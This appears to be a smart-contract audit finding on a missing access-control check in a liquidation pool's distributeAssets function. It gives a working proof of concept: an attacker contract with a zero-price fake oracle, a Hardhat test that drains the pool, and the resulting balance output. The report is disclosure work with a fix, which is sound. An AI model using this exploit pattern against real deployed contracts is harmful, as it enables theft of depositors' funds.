Summary
The function distributeAssets is to be called by the LiquidationPoolManager contract in its runLiquidation function, but missing onlyManager modifier. This will allow any actor to call the function with custom provided parameters. With special crafted assets parameter, a malicious actor can manipulate the reward value and potentially drain funds from the pool contract, and also DoS for other position holders.
Vulnerability Details
In distributeAssets, reward value for each position holder is calculated with the assets parameter given in the argument. Since this function can be called by anyone, a malicious actor can deposit few amounts of tokens to get a position, and after the position is consolidated, he/she can call distributeAssets to manipulate the reward to be extreme high amount, then call claimRewards to drain all funds in the contract.
The calculation of rewards is based on _portion, which is essentially uint256 _portion = asset.amount * _positionStake / stakeTotal;. Since asset.amount is controllable by caller, despite the stake ratio can be low, with large amount decimals, the final portion value can still be large enough. The costInEuros is determined by oracle price on Chainlink, however, this oracle address is also controllable by attacker:
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
The attacker can deploy a custom aggregator contract and make it return 0 for the price, this way, the costInEuros variable will always be zero, which means no value will be deducted when assets are being distributed. When costInEuros > _position.EUROs, rewards of holder will increase by the portion value without any modification, this means the reward value is controlled by attacker.
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
Eventually, rewards can be claimed by calling claimRewards, and attacker can drain most if not all funds in the pool contract.
Impact
As mentioned in the vulnerability detail section, funds can be drained, also the high reward can potentially make other holder unable to get their rewards as the reward value may exceed pool's balance, and hence DoS.
In the following snippet of code, demonstrates how an attacker can potentially drain funds:
function attack() external {
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](1);
ITokenManager.Token memory token = ITokenManager.Token("ETH", address(0), 0, address(this), 0);
assets[0] = ILiquidationPoolManager.Asset(token, 3.5 * 10 ** 37);
pool.distributeAssets(assets, 100, 1);
}
function latestRoundData() override external view returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
){
roundId = 0;
answer = 0;
startedAt = 0;
updatedAt = 0;
answeredInRound = 0;
}
And with test case:
it('drain all funds', async() => {
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
await user2.sendTransaction({to: MockSmartVaultManager.address, value: ethCollateral});
await WBTC.mint(MockSmartVaultManager.address, wbtcCollateral);
await USDC.mint(MockSmartVaultManager.address, usdcCollateral);
let stakeValue = ethers.utils.parseEther('10000');
let stakeValue2 = ethers.utils.parseEther('9999');
await TST.mint(user1.address, stakeValue);
await EUROs.mint(user1.address, stakeValue2);
await TST.connect(user1).approve(LiquidationPool.address, stakeValue);
await EUROs.connect(user1).approve(LiquidationPool.address, stakeValue2);
await LiquidationPool.connect(user1).increasePosition(stakeValue, stakeValue2);
await fastForward(DAY);
await LiquidationPoolManager.runLiquidation(TOKEN_ID);
expect(await ethers.provider.getBalance(LiquidationPool.address)).to.equal(ethCollateral);
await EUROs.mint(user3.address, 100);
await EUROs.connect(user3).approve(LiquidationPool.address, 100);
await TST.mint(user3.address, 100);
await TST.connect(user3).approve(LiquidationPool.address, 100);
await LiquidationPool.connect(user3).increasePosition(100, 100);
await fastForward(DAY);
await LiquidationPool.connect(user3).decreasePosition(0, 0);
const evilAggregator = await (await ethers.getContractFactory('EvilAggregator')).deploy(user3.address, LiquidationPool.address);
await evilAggregator.attack();
console.log("user3 balance:", await ethers.provider.getBalance(user3.address));
console.log("pool balance:", await ethers.provider.getBalance(LiquidationPool.address));
await LiquidationPool.connect(user3).claimRewards();
console.log("user3 balance:", await ethers.provider.getBalance(user3.address));
console.log("pool balance:", await ethers.provider.getBalance(LiquidationPool.address));
});
This will output the following:
Received Aggregator callback from: 0x24b3c7704709ed1491473f30393ffc93cfb0fc34
Received Aggregator callback from: 0x24b3c7704709ed1491473f30393ffc93cfb0fc34
user3 balance: BigNumber { value: "9999999568573065908588" }
pool balance: BigNumber { value: "499999999999999999" }
user3 balance: BigNumber { value: "10000401707652696720246" }
pool balance: BigNumber { value: "97785761832795963" }
And we see the balance change in both attacker and pool.
Tools Used
Hardhat, manual review
Recommendations
Add onlyManager modifier to distributeAssets
